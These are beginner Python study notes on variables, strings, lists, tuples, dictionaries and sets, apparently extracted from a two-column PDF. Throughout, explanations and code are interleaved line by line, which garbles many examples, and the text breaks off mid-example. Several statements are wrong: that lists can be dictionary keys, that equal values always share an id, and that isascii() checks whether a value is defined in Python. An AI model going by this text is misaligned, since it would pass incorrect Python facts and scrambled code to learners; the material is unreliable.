Python

It developed by Guido van Rossum, a Dutch scientist. It got an idea for creating python in
1980 then it started the development of python in 1989 and realeased in 1991. It all started
as a hobby.
Python used interpreter :- In the interpreter it check line by line code. If one line of code has
error then it will stop there and show the error.

Variables:-
They are like containers which used to store data values. Like

Variable Value
A 3

Note:- If it has two different variable but has same value. Then it will save at same memory
space(It has same id). Like

Variable Value
A 2
B 2

They have same id

To check they have same id or not.
print(id(A))
print(id(B))
Note:- The id always change whenever you run the code again and again it will change
respectively.

Rules for Creating Variables in Python

1) A variable must start with a letter or the underscore Symbol ( _ ).
2) Variable is case-sensitive.
[name, NAME, Name] – They are all different variables.
3) You can not use defined words in python as a variable. Like :- if, else etc.
4) A variable cannot be start with numbers. Like (1,2,3….many-more)

Things that works as Variables Things that didn’t works as Variables

A=1 If=21
a=2 Else=22
Harish=3 Ab#dc=88
ab12=4 ab kl = 00
Ab12=5 1ab= 65
_hello=6 Version1.3=66
a_b = 7
a,b = 89
a=’dog’ print(a)
a += ‘cat’
print(a) -> dogcat

a = 8,7,9
print(a) -> 8,7,9

a,b = 7,2
print(a,b) -> 7,2
print(a) -> 7
print(b) -> 2

a =b=c=d=e = 90
print(a) -> 90
print(d) -> 90
print(e) -> 90

and many-more.

Variable(Refrence) Value(Object) Total Objects and Refrences

a= 2 Refrence = 1, Object = 1
a =b=c=d=e = 3 Refrence = 5, Object = 1

Every Variable is a Refrence, Every Value is a Object

Variable = Datatype(Value)
 DataType

DataTypes Examples
Integer-Datatype All Numeric-Value(1,2,-1,-2….manymore.)
Float-Datatype All Point Value(1.2,12.5,…..manymore.)
Complex-Datatype 3 + 2j ( j – it is must)
String-Datatype Anything written B/w (‘ ’, “ ”, ‘’’ ‘’’)

String:-
• String is an ordered collection of data items.
• String is immutable. You can not add any new elements or words at desired position
or nor delete in existing String.
• String is defined by ‘ ‘, “ “, ‘’’ ‘’’ we called it Quotes.
• String is used to print a message.
• In String every character or elements counts including spaces. like(name -> 5)
• In String you can add or multiply the Strings.

Indexing:- There are Two types of indexing

1. Positive-Indexing
2. Negative-Indexing

Positive-Indexing:- It Starts with 0 to +ve infinity. It Direction from left to Right. It is used to
access only single elements or character(a,b,c….manymore.)

Negative-Indexing:- It Starts with -1 to –ve infinity. It Direction from Right to Left. It is used
to access only single elements or character(a,b,c….manymore.)

Formate → Variable[Index No.]

Short-Cut for Comment a Code:-

Ctrl + /
Slicing :-

Variable[start: stop: step]

 String-Methods
Methods Description
Indexing -> Positive-Indexing and Negative a = “Enter your name”
Indexing. b = a[2]
print(b)
#Positive-Indexing :- t
Variable[Positive-Index_No.] left to right
0 to manymore…
#Negative-Indexing a = “Enter your name”
Variable[Negative-Index_No.] right to left b = a[-1]
-1 to manymore… print(b)
:- e
Note:- Spaces count as Index No.

Variable.index(‘string’) a = “Enter your name”

b = a.index(‘E’)
V.index() = This method help to find the print(b)
index no. of letter or element in a String or :- 0
a word.
a = “Enter your name”
Note:- Spaces count as Index No. b = a.index(‘your’)
print(b)
:- 6
len(variable) a = “My name is Harish”
b = len(a)
len() = This method is help to count every print(b)
element or letter in a string including :- 17
backspaces too.
a = “Enter”, “Your”, “Name”
Note:- It always start with 1 to manymore.. b = len(a)
print(b)
:- 3
count(‘string’) a = “Hello Harish Sharma”
b = a.count(‘H’)
count() = This method is help to count print(b)
every word or letter repeat in a String. :- 2

a = “Hello Harish Sharma”

b = a.count(‘Harish’)
print(b)
:- 1
‘anything’.join(variable) a = “Hello Harish Sharma”
b = ‘-‘.join(a)
‘-’.join(variable) = This method help to add print(b)
anything B/w each letter or element of a :- H-e-l-l-o- -H-a-r-i-s-h- -S-h-a-r-m-a
String
Ex:- ‘-‘, ‘#’, ‘st’ etc. a = “Hello Harish Sharma”
b = ‘*’.join(a)
print(b)
:- H*e*l*l*o* *H*a*r*i*s*h*
*s*h*a*r*m*a
Variable.lower() a = “HELLO HARISH SHARMA”
b = a.lower()
V.lower() = This method help to make print(b)
every letter and element inside the string in :- hello harish sharma
lower character.
Variable.upper() a = “Hello Harish Sharma”
b = a.upper()
V.upper() = This method help to make print(b)
every letter and element inside the string in :- HELLO HARISH SHARMA
upper character.

Variable.capitalize() a = “hello harish sharma”

b = a.capitalize()
V.capitalize() = This method help to make print(b)
only first word of first letter in uppercase. :- Hello harish sharma
Variable.title() a = “hello harish sharma”
b = a.title()
V.title() = This method help to make every print(b)
word of first letter in uppercase. :- Hello Harish Sharma
Variable.swapcase() a = “hello harish sharma”
b = a.swapcase()
V.swapcase() = This method help to make print(b)
uppercase letter to lowercase letter and :- HELLO HARISH SHARMA
lowercase letter to uppercase.
a = “HELLO HARISH SHARMA”
b = a.swapcase()
print(b)
:- hello harish sharma
Variable.split() a = “hello harish sharma”
b = a.split()
V.split() = This method help to make print(b,type(b))
separate the words in a List format. :- ['hello', 'harish', 'sharma'] <class 'list'>
Variable.endswith(‘last letter or word’) a = “hello harish sharma”
b = a.endswith(‘a’)
V.endswith(‘last letter or word’) = This print(b)
method is help to check if the last word or :- True
last letter of String is True or False.
a = “hello harish sharma”
b = a.endswith(‘sharma’)
print(b)
:- True

a = “hello harish sharma”

b = a.endswith(‘s’)
print(b)
:- False

Variable.startswith(‘first word or letter’) a = “hello harish sharma”

b = a.startswith(‘h’)
V.startswith = This method is help to check print(b)
if first word or letter is True or False. :- True

a = “hello harish sharma”

b = a.startswith(‘hello’)
print(b)
:- True

a = “hello harish sharma’

b = a.startswith(‘s’)
print(b)
:- False
‘String’ in Variable a = ‘hello harish sharma’
b = ‘h’ in a
‘String’ in V = This method is help to check print(b)
a word or a letter present in a String or not. :- True

a = ‘hello harish sharma’

b = ‘harish’ in a
print(b)
:- True

a = ‘hello harish sharma’

b = ‘joker’ in a
print(b)
:- False
 Variable.find(‘word or letter) a = ‘hello harish sharma’
b = a.find(‘h’)
V.find(‘word or letter’) = this method help to find print(b)
the index no. of letter or word in a String. :- 0

Note:- If word or letter not present in String then it a =’hello harish sharma’
will return -1. b = a.find(‘ha’)
print(b)
:- 6
Compare(>,<, =>, =<) print( ‘Emma > ‘Emm’ )
print( ‘John’ > ‘Jhon’ ) :- True
:- True
a = 'harish'
b = a * 3
print(b)

:-harishharishharish
print(Variable.count(Vsub-String, len(gap)) str1 = 'my isname isisis
jameis isis bond'
str1 = 'my isname isisis jameis isis bond' sub = 'is'
sub = 'is' print(str1.count(sub, 3
print(str1.count(sub, 4 )) ))

:- 6 :- 7
str1 = 'enter your name name name str1 = 'enter your name
name' name name name'
sub = 'name' sub = 'name'
print(str1.count(sub, 12)) print(str1.count(sub))

:- 3 :- 4

format:- Dynamic change the value of Variables.

Variable = ‘String {}, {}…manymore’.format(‘StringValue1’, ‘StringValue2’…manymore)

a = ‘The value of a is {}. The value of b is {}’.format(‘Harish’, ‘Sharma’)

print(a)
:- The value of a is Harish. The value of b is Sharma.

#Giving Index no. of StringValue. It can be interchange.

a = ‘The value of a is {0}. The value of b is {1}’.format(‘Harish’, ‘Sharma’)
print(a)
:- The value of a is Harish. The value of b is Sharma.

#First define variable then give it to String. It can be interchange(b,a).

a = ‘Harish’
b = ‘Sharma’
a = ‘The value of a is {}. The value of b is {}’.format(a,b)
print(a)
:- The value of a is Harish. The value of b is Sharma.

#Define variable in a format as well as put it in a String. It can interchange (b,a)

a = ‘The value of a is {a}. The value of b is {b}’.format(a = ‘harish’, b = ‘Sharma’)

Variable.isalnum() a = ‘My name is Harish’

b = a.isalnum()
V.isalnum = The method returns True if all print(b)
the characters are alphanumeric, meaning :- False
alphabet letter (a-z) and numbers (0-9).
a = ‘myname123’
b = a.isalnum()
Note:- Back-Spaces or Special character print(b)
must not be in a String or it will Always :- True
return False
a = ‘myname’
b = a.isalnum()
print(b)
:- True

a = ‘123@#’
b = a.isalnum()
print(b)
 :- False

Variable.isalpha() a = ‘myname123’
b = a.isalpha()
V.isalpha() = this method help to identify print(b)
only alphabet present in a String. :- False

Note:- No-Spaces, No-Numbers, No- a = ‘myname’

SpecialCharacters. b = a.isalpha()
print(b)
:- True

a = ‘my name’
b = a.isalpha()
print(b)
:- False

a = ‘myname@#’
b = a.isalpha()
print(b)
:- False

Variable.isdigit() a = ‘1234’
b = a.isdigit()
V.isdigit() = this method help to identify print(b)
numbers present in String or not. :- True

Note:- No-BackSpaces, No- a = ’12 34’

SpecialCharacters, No-Alphabets, No- b = a.isdigit()
FloatIntegers print(b)
:- False

a = ‘abc1234’
b = a.isdigit()
print(b)
:- False
Variable.isdecimal() a = ‘1’
b = a.isdecimal()
V.isdecimal() = The method returns True if print(b)
all the characters are decimals (0-9). :- True

Note:- No-FloatIntegers, No-Spaces, No- a = ‘2.1’

Alphabets b = a.isdecimal()
print(b)
:- False
 a = ‘1234’
b = a.isdecimal()
print(b)
:- True

a = ’12 34’
b = a.isdecimal()
print(b)
:- False

Variable.isnumeric() a = ‘123’
b = a.isnumeric()
V.isnumeric() = The method returns True if print(b)
all the characters are numeric (0-9), :- True
otherwise False.
a = ’12 34’
Note:- No-BackSpaces, No-alphabets, No- b = a.isnumeric()
SpecialCharacters, No-FloatIntegers. print(b)
:- False

Variable.isascii() a = ‘123’
b = a.isascii()
V.isascii() = this method help to check print(b)
Value is defined in Python or not. :- True

a = ‘@’
b = a.isascii()
print(b)
:- True
Variable.islower() a = ‘as vc’
b = a.islower()
V.islower() = This method returns True if all print(b)
the characters are in lower case, otherwise :- True
False.
a = ‘WEetd’
Note:- No-UpperCharacters. b = a.islower()
print(b)
:- False

a = ‘adc123’
b = a.islower()
print(b)
 :- True
Variable.isupper() a = ‘DG SD’
b = a.isupper()
V.isupper() = This method returns True if all print(b)
the characters are in upper case, otherwise :- True
False.
a = ‘adSD’
b = a.isupper()
print(b)
:- False

a = ‘SDC123’
b = a.isupper()
print(b)
:- True

a = ‘123’
b = a.isupper()
print(b)
:- False

List:-
• List is an ordered collection of data items.
• List is mutable. It can be added or delete in original List.
• List can store similar and different types of data values. Like:-
String,Dictonary,Tuples,Integers etc.
• List is defined by square brackets. []
• Every Value in a List is Separated by Comma (,). Like:- [1,2,3, “String”, {2:3}]

List-Indexing,Methods
a = [] Anything Between the SquareBrackets is
print(type(a)) called List.
:- <class ‘list’> []

a = [1, ’String’, {2:3}, (‘String’,2), [26,7] ] :- <class 'list'> [1, 'String', {2: 3}, ('String', 2),
print(type(a), a) [26, 7]]
#Positive-Indexing. Postive-Indexing can help us to get the
access of a Value inside a List.
• It start from 0 to manymore..
a = [1,2,3,'String'] • It start from left to Right.
b = a[2]
c = a[3] :- 3, String
print(b, c)

a = [1,2,3,'String']
b = a[2], a[3] :- (3, ‘String’)
print(b)

#Nested-Indexing In List Nested-Indexing can help us to get the

access of the letter or value inside the List
Q:- Get – 7, ‘this’, ‘is’ or List.
a = [1,2,3,4, [7,8,9,'this']]
b = a[4][0], a[4][3], a[4][3][2:]
print(b)
:- (7, 'this', 'is')
Q:- Get - 'this', '77', '88',8, ‘is’
a = [1,2,3,4,5,[6,7,8,[77,88,'this']]]
b = a[5][3][2], a[5][3][0], a[5][3][1], a[5][2],
a[5][3][2][2:]
print(b, type(a)) :- ('this', 77, 88, 8, 'is') <class 'list'>

Append:- Adding any type of value in a List a = [2,3,4,5,6,78]

at last position. a.append(53)
Variable.append(Argument) print(a)
:- [2,3,4,5,6,78,53]
Note:- It will take only one argument.
a = [2,3,4,5,6,78]
a.append(53), a.append(5.4)
print(a)
:- [2,3,4,5,6,78,53,5.4]

a = [2,3,4,5,6,78]
a.append('String')
print(a)
:- [2,3,4,5,6,78,’String’]

a = [2,3,4,5,6,78]
a.append({2:4})
print(a)
:- [2,3,4,5,6,78,{2:4}]
Insert :- this method help to Position a new a = [2,3,4,5,6,78]
Value at the Desired Position. a.insert(2,33)
print(a)
Variable.insert(Index_No. , Value) :- [2, 3, 33, 4, 5, 6, 78]

Note:- When we postion new value at the a = [2,3,4,5,6,78]

existing value position then it will shift a.insert(5,'String')
forward. print(a)
:- [2, 3, 4, 5, 6, 'String', 78]

a = [2,3,4,5,6,78]
a.insert(3, 6.9)
print(a)
:- [2, 3, 4, 6.9, 5, 6, 78]

a = [2,3,4,5,6,78]
a.insert(1, [1,2])
print(a)
:- [2, [1, 2], 3, 4, 5, 6, 78]
a = [1,2,3,4]
b = a * 2
print(b)

:- [1, 2, 3, 4, 1, 2, 3, 4]

Extend :- this method help add more a = [2,3,4,5,6,78]

than one value in a Original List. a.extend([53,45])
print(a)
Variable.extend(Argument1, :- [2, 3, 4, 5, 6, 78, 53, 45]
Argument2..etc)
a = [2,3,4,5,6,78]
Note:- All new value add at the last of a.extend(['String',{2:3},1.2,4])
List Position print(a)
:- [2, 3, 4, 5, 6, 78, 'String', {2: 3}, 1.2,
4]

Update :- This method help to add new a = [2,3,4,5,6,78]

value at the postion of original value by a[2]=(53)
replacing it. print(a)
:- [2, 3, 53, 5, 6, 78]
Variable[Index.no]=[NewValue]
Delete_Methods:- pop, remove, del, a = [2,3,4,5,6,78]
clear . a.pop()
print(a)
Pop :- This method help to remove any :- [2, 3, 4, 5, 6]
value from original List at any position.
a = [2,3,4,5,6,78]
Variable.pop(Index_No.) a.pop(1)
print(a)
Note:- If Index_No. not defined it will :- [2, 4, 5, 6, 78]
remove the last value from List
Variable.remove(Value inside a List) a = [2,3,4,5,6,78]
a.remove(4)
V.remove(Value) :- It takes Values print(a)
inside of Original List. :- [2, 3, 5, 6, 78]

Note:- It will only take one Value at one a = [2,3,4,5,4,6,78]

time not multiple. a.remove(4), a.remove(4)
print(a)
:- [2, 3, 5, 6, 78]

a = [2,3,4,5,6,78]
a.remove(4), a.remove(78)
print(a)
:- [2, 3, 5, 6]

del Variable[Index_No.] a = [2,3,4,5,6,78]

del a[3]
del V[Index_no.] = this method helps to print(a)
delete the multiple values from the List. :- [2, 3, 4, 6, 78]

a = [2,3,4,5,6,78]
del a[2:6]
print(a)
:- [2, 3]

a = [2,3,4,5,6,78]
del a[::2]
print(a)
:- [3, 5, 78]

a = [2,3,4,5,6,78,[56,2]]
del a[6][0]
 print(a)
:- [2, 3, 4, 5, 6, 78, [2]]

a = [2,3,4,5,6,78]
del a[1::2]
print(a)

:- [2, 4, 6]

Variable.clear() a = [2,3,4,5,6,78]
a.clear()
V.clear() :-this method help to delete print(a)
whole List Values and make it empty. :- []

Variable.reverse() a = [2,3,4,5,6,78]
a.reverse()
V.reverse() :- this method help to print(a)
reverse the whole list Values. :- [78, 6, 5, 4, 3, 2]
Variable.sort() a = [78,45,2,33,49]
a.sort()
V.sort() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.

Variable.sort() a = [78,45,2,33,49]
a.sort()
V.sort() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.
a = [78,45,2,33,49]
a.sort()
a.reverse()
print(a)
:- [78, 49, 45, 33, 2]
Variable.count(Value inside of List) a = [78,45,2,33,9,9,9,49]
b = a.count(9)
V.count(Value) :- this method help to print(b)
check how many times same value :- 3
repeated.
 Variable.index(Value inside of List) a = [78,45,2,33,9,9,9,49]
b = a.index(78)
V.index(Value) :- this method help to print(b)
find the index no. of value inside the :- 0
List.
Variable.copy() c = [3,4,5,56,90]
a = [78,45,2,33,9,9,9,49]
V.copy() :- this method help to copy the b = a.copy(), c.copy()
whole List inside a another Variable. print(b)
:- ([78, 45, 2, 33, 9, 9, 9, 49], [3, 4, 5, 56,
Note:- It saves the datatype in a same 90])
memory-location.
a = [78,45,2,33,9,9,9,49]
b = a.copy()
print(b)
:- [78, 45, 2, 33, 9, 9, 9, 49]

List-Concatination:- Only List can add with List

List with List, String with String, Dictonary with Dictonary, Tuple with Tuple

a = [78,45,2,33,9,9,9,49]
b = [89,'String',{3:4},5,(4,590)]
c = [8,65,34,[23,67,55]]
d = a+b+c
print(d)
:- [78, 45, 2, 33, 9, 9, 9, 49, 89, 'String', {3: 4}, 5, (4, 590), 8, 65, 34, [23, 67, 55]]

Tuple :-
• Tuple is a sequence data type.
• Tuple is an order collection of data items.
• Tuple can store any data type. List, Tuple, Dictonary, String, Integer etc.
• Tuple can store similar and different data items.
• Tuple is defined by parenthesis ().
• Tuple is immutable

a = () a = (1,2,3,4)
print(type(a)) b = a * 2
print(b)
:- <class ‘tuple’>
:- (1, 2, 3, 4, 1, 2, 3, 4)
a = (1,1,1,1,2.3,4,5)
print(a, type(a)) a = 2,3,4
:- (1, 1, 1, 1, 2.3, 4, 5) <class 'tuple'> b = type(a)
print(a, b)
a = (1, ‘String’, [3,4], {2:3}, 9.8)
:- (2, 3, 4) <class 'tuple'>
print(a, type(a))
:- (1, 'String', [3, 4], {2: 3}, 9.8) <class a = (2)
'tuple'> b = type(a)
print(b)
:- <class 'int'>

Note:- Single element inside a tuple called

int.

len(Variable) a = (1,1,1,'String',[3,4],(2,3))
b = len(a)
len(V) = this method help to find the length print(b)
of Tuple it starts from 1 to manymore… :- 6

a = (1,2,3,5,6,'')
print(len(a))
:- 6
Variable.count(Value inside a Tuple) a = (1,1,1,1,1,5,6,7)
b = a.count(1)
V.count(Value) :- this method help to count print(b)
the value repeatation inside the Tuple. :- 5

Variable.index(Value inside a Tuple) a = (1,1,1,2,3,5,6,7)

b = a.index(1)
V.index(Value) = this method help to print(b)
indentify the Index No. of a Value. :- 0

Variable = sorted(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)

b = sorted(a)
V.sorted(V) = this method help to arrange print(b)
the values inside a Tuple in a Ascending- b.reverse()
Order. print(b)
:-
V.reverse() = this method help to arrange [1, 1, 1, 2, 3, 5, 6, 7, 55, 70, 88]
the sorted Value in a Descending-Order. [88, 70, 55, 7, 6, 5, 3, 2, 1, 1, 1]
 Concatination

Concatination = Adding two or more Tuples.

They have different memory Location

a = (1,1,1,2,3,5,6,7)
b = (7,8,9,5,67)
c=a+b
print(c)
:- (1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)

a = (1,1,1,2,3,5,6,7)
print(id(a))
b = (7,8,9,5,67)
c=a+b
print(id(c))
print(c)
:- 2334710629312
2334710902224
(1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)

a = (1,2,3,4)
b=a*2
print(b)
:- (1, 2, 3, 4, 1, 2, 3, 4)

max(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = max(a)
max.(V) = this method help to find the print(b)
maximum value inside the tuple. :- 88

min.(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = min(a)
min.(V) = this method help to find print(b)
minimum value inside the tuple. :- 1
Dictionary:-
• Dictionary is an unodered collection of data values.
• Dictionary holds key:value pair. {key:value}
• A Dictionary can be created by placing a sequence of elements within curly {} braces,
separated by ‘comma , ’.
 • Values in a dictionary can be any data type can be duplicated. But keys can’t be
repeated
• Dictionary is mutable can be added or deleted.
• Keys are only created by immutable datatypes :- Numeric, String, Tuple, List.

a = {} a = {'name':'abc'}
print(type(a)) print(len(a))
:- <class 'dict'> print(type(a))
:- 1
<class 'dict'>
a = {'name':'abc' , 12:56, (4,5,6) : 90} a = {'name':('abc',56,9.8), 12:56, (4,5,6):90}
print(a) print(a)
print(len(a)) print(len(a))
print(type(a)) print(type(a))
:- {'name': 'abc', 12: 56, (4, 5, 6): 90} :- {'name': ('abc', 56, 9.8), 12: 56, (4, 5, 6):
3 90}
<class 'dict'> 3
<class 'dict'>

a = {34:[5,6], 12:56, (4,5,6):90}

print(a)
print(len(a))
print(type(a))
:-
{34: [5, 6], 12: 56, (4, 5, 6): 90}
3
<class 'dict'>

Getting Value Access by Keys a = {'a':34,'b':45, 'c':78}

Variable[‘keys’] b = a['a'], a['b'], a['c']
print(b)
V[‘keys’] = this method help to getting :- (34, 45, 78)
access of Values inside a Dictonary by keys.

Note :- You can not get the access of Keys

by Values.

Variable.get(‘keys’) a = {'a':34,'b':45, 'c':78}

b = a.get('a')
V.get(‘keys’) = this method help to get the print(b)
Values by using keys. :- 34
Nested-Dictionary:- a = {'a':34,'b':45, 'c':78, 'd':{'a':34, 5:{6:7 ,
8:9}}}
a = {'a':34,'b':45, 'c':78, 'd':{'a':34, 5:6}} b = a['d']['a'] , a['d'][5][6] , a['d'][5][8]
b = a['d']['a'], a['d'][5] print(b)
print(b) :- (34, 7, 9)
:- (34, 6)

Variable[‘keys’] = Values a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

a['a'] = 78
V[‘keys’] = Values => this method help to a['b'] = {8:9}
add new element inside a Dictionary at the print(a)
last point OR Update the Existing Value. :-
{'ab': ‘10', 'bd': 12, 'ef': 13, 'fg': 14, 'a': 78,
'b': {8: 9}}

a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

a['ab'] = 'Updated Value'
print(a)
:-
{'ab': 'Updated Value', 'bd': 12, 'ef': 13, 'fg':
14,}

Dictionarywanttochange.update(dictonary a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

try to add or Update) b = {'ab':45, 67:78, 5:7, 'ef':89}
a.update(b)
VD.update(V) = this method help to add or print(a)
update the dictionary at one time :-
{'ab': 45, 'bd': 12, 'ef': 89, 'fg': 14, 67: 78, 5:
7}
Variable.pop(‘keys’) a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
a.pop('bd')
V.pop(‘keys’) = this method help to remove print(a)
a element from the dictionary by keys. :- {'ab': 10, 'ef': 13, 'fg': 14}

Variable.popitem() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

a.popitem()
V.popitem() = this method help to remove print(a)
only last element of dictionary. :- {'ab': 10, 'bd': 12, 'ef': 13}

del Variable[‘keys’] …manymore. a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

del a['ab']
del V[‘keys’] = this method help to delete print(a)
the multiple elements at one time by using :- {'bd': 12, 'ef': 13, 'fg': 14}
keys.
a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
 del a['ab'], a['bd']
print(a)
:- {'ef': 13, 'fg': 14}
Nested-Delete a = {'ab':10,'bd':12, 'ef':{13:6, 7:9}, 'fg':{2:5,
5:6}}
del Variable[‘keys’] …manymore. del a['ef'][13], a['fg'][5]
print(a)
del V[‘keys’] = this method help to delete :- {'ab': 10, 'bd': 12, 'ef': {7: 9}, 'fg': {2: 5}}
the multiple elements at one time by using
keys.

Variable.clear() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

a.clear()
V.clear() = this method help to whole print(a)
dictionary. :- {}

V = Variable.keys() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

b = a.keys()
V.keys() = this method help to get all the print(b)
keys inside the dictionary. :- dict_keys(['ab', 'bd', 'ef', 'fg'])

V = Variable.values() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

b = a.values()
V.values() = this method help to get all the print(b)
values inside the dictionary. :- dict_values([10, 12, 13, 14])
V = Variable.items() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
b = a.items()
V.items() = this method help to get all the print(b)
keys and values :- dict_items([('ab', 10), ('bd', 12), ('ef', 13),
('fg', 14)])
V = Variable.copy() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
b = a.copy()
V.copy() = this method help to copy the print(b)
whole dictionary in another Variable. :- {'ab': 10, 'bd': 12, 'ef': 13, 'fg': 14}

V = Variable.setdefault(‘keys’) a = {'ab':10,'bd':12, 'ef':13, 'fg':14}

b = a.setdefault('fg')
V.setdefault(‘keys’) = this method help to print(b)
the value of of keys if it is exist in a :- 14
Dictionary.
V.setdefault(‘keys’) = this method also help a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
to add the elmenet inside the dictionary if it b = a.setdefault('ff',66)
doesn’t exist. print(a)
:- {'ab': 10, 'bd': 12, 'ef': 13, 'fg': 14, 'ff': 66}

Sets:-
• Set is an unordered collection of data items.
• Set is defined by build in set function. set()
• Set does not support repeated values.
• Set can be created by {}.
• It is mutable data type can change.

a = set() a = set('this')
print(type(a)) print(a)
:- <class 'set'> :- {'i', 't', 's', 'h'}

Note:- It shows random values. Whenever

we run the code again and again.
a = set((5,6,7)) a = set([5,6,7])
print(type(a)) print(a, type(a))
print(a) :- {5, 6, 7} <class 'set'>
:- <class 'set'>
{5, 6, 7}
a = set({2:3,4:5}) a = set({56,8})
print(a) print(a)
:- {2, 4} :- {56, 8}

Note:- Only keys can show.

a = {12,34,(5,6)} a = {12,34,'this'}
print(type(a)) print(a)
:- <class 'set'> :- {34, 'this', 12}

Note:- Only Random Values shows.

a = {12,34,2,4,5} a = {12,34,2,4,5}
print(a) for i in a:
:- {34, 2, 4, 5, 12} print(i)
34
2
4
5
 12
a = {12,34,(5,6),[1,2,3]} a = {12,34,2,4,5}
print(type(a)) a.add(45)
:- TypeError: unhashable type: 'list' print(a)
:- {34, 2, 4, 5, 12, 45}
Note:- It only contains immutable values
inside a Set that can not change. Like:- Note:- Only immutable value can add inside
Numeric-Values, Tuples, Strings. {} a Set Numeric-Values, Tuples, Strings and
Only one arguments.

V.add(immutable_value) :- this method

help to add only one Value inside a Set.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.add((45,67)) a.update('this', [78,89],(67,88))
print(a) print(a)
:- {34, 2, 4, 5, (45, 67), 12} :- {2, 67, 4, 5, 's', 12, 78, 88, 89, 'h', 34, 't',
'i'}
V.add(immutable_value) :- this method
help to add only one Value inside a Set. V.update(immutable_values) :- this
method help to add Multiple Values inside
a Set.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.update(1,'this', [78,89],(67,88)) a.add([2,3,4])
print(a) print(a)
:- TypeError: 'int' object is not iterable :- TypeError: unhashable type: 'list'

Note:- Not use integers in Update Method. Note:- Only immutable values can add or
only one arguments.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.pop() a.pop(1)
print(a) print(a)
:- {2, 4, 5, 12}
:- TypeError: set.pop() takes no arguments
V.pop() :- this method help to remove (1 given)
random value from Set.

a = {12,34,2,4,5} a = {12,34,2,4,5}
a.remove(12) a.discard(34)
print(a) print(a)
:- {34, 2, 4, 5} :- {2, 4, 5, 12}

V.remove(Value):- this method help to V.discard(Value) :- this method help to

remove values inside a Set. remove the value from the set.
 Note:- If Value doesn’t present in a Set. It
will not show the Error
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.discard(33) a.clear()
print(a) print(a)
:- {34, 2, 4, 5, 12} :- set()

Note:- If Value doesn’t present in a Set. It V.clear() :- this method help to empty
will not show the Error whole Set at one time.

a = {12,34,2,4,5} a = {12,34,2,4,5}
del a b = a.copy()
print(a) print(b)
:- name 'a' is not defined :- {34, 2, 4, 5, 12}

Note:- this method help Delete whole Set. V.copy() :- this method help to copy the
whole set of variable
a = {12,12,12,34,2,4,5}
print(a)
:- {34, 2, 4, 5, 12}

Note:- Set can not take duplicate values

Variable.difference(Variable…etc) a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
V.difference(Variable) :- this method help d = {22,33,5,34}
to get difference Values. c = a.difference(b)
print(c)
:- {2, 5, 'is', 4}
Variable.difference(Variable…etc) a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
V.difference(Variable) :- this method help d = {22,33,5,34}
to get difference Values. e = {2,4}
f = {'is'}
c = a.difference(b,d,e,f)
print(c)
:- set()

Variable.difference_update(Variable) a = {12,34,2,4,5, 'is'}

b = {45,67,89,12,34}
V.difference_update(Variable) :- this d = {22,33,5,34}
method update the Values inside the Set. a.difference_update(b)
print(a)
:- {2, 4, 5, 'is'}
 a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
d = {22,33,5,34}
b.difference_update(a)
print(b)
:- {67, 89, 45}

a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
d = {22,33,5,34} 4
a.difference_update(b)
print(a)
b.difference_update(a)
print(b)
:- {2, 4, 5, 'is'}
{34, 67, 89, 12, 45}
Variable.union(Variable) a = {1,2,3}
b = {4,1,5,6}
V.union(Variable) :- this method help to c = a.union(b)
combine two sets return one time if same print(c)
value present in both Sets. :- {1, 2, 3, 4, 5, 6}
Variable.intersection(Variable) a = {1,2,3}
b = {4,1,5,6}
V.intersection(Variable) :- this method help c = a.intersection(b)
to get only common values between two print(c)
sets. :- {1}`
Variable.intersection_update(Variable) a = {1,2,3}
b = {4,1,5,6}
V.intersection_update(Variable) :- this a.intersection_update(b)
method help to update the Variable set. print(a)
:- {1}

Variable.isdisjoint(Variable) a = {2,34,'is', 5}
b = {45,67,89,12,34}
V.isdisjoint(V) :- this method help to check c = a.isdisjoint(b)
True or False. print(c)
If both sets have different Values it will give :- False
True.
If both sets have different same Values or x = {"apple", "banana", "cherry"}
even one same Value it will give False. y = {"google", "microsoft", "facebook"}
z = x.isdisjoint(y)
print(z)
:- True

Variable.issubset(Variable) a = {1,2}
b = {1,2,3,4}
V.issubset(Variable) :- this method help to c = a.issubset(b)
check both sets Values if both are same it print(c)
will return True. It not False. :- True
a = {3,1,2}
b = {1,2,3,4}
c = a.issubset(b)
print(c)
:- True
a = {1,2,5}
b = {1,2,3,4}
c = a.issubset(b)
print(c)
:- False
Variable.issuperset(Variable) a = {1,2,3,4}
b = {3,4}
V.issuperset(Variable) :- this method help c = a.issuperset(b)
to check if small set is a part of big set and print(c)
have same Values or not and returns True :- True
Or False. a = {1,2,3,4}
b = {3,4,10}
c = a.issuperset(b)
print(c)
:- False

Variable.symmetric_difference(Variable) a = {1,2,3,4,5,6,7}
b = {1,2,3,4}
V.symmetric_difference(Variable) :- this method c = a.symmetric_difference(b)
help to get the values and set difference values of print(c)
both set in a Variable. :- {5, 6, 7}
 a = {1,2,3,4,5,6,7}
b = {1,2,3,4,8,9}
c = a.symmetric_difference(b)
print(c)
:- {5, 6, 7, 8, 9}
Variable.symmetric_difference_update(Variable) a = {1,2,3,4}
b = {5,3,4}
V.symmetric_difference_update(Variable) :- this a.symmetric_difference_update(b)
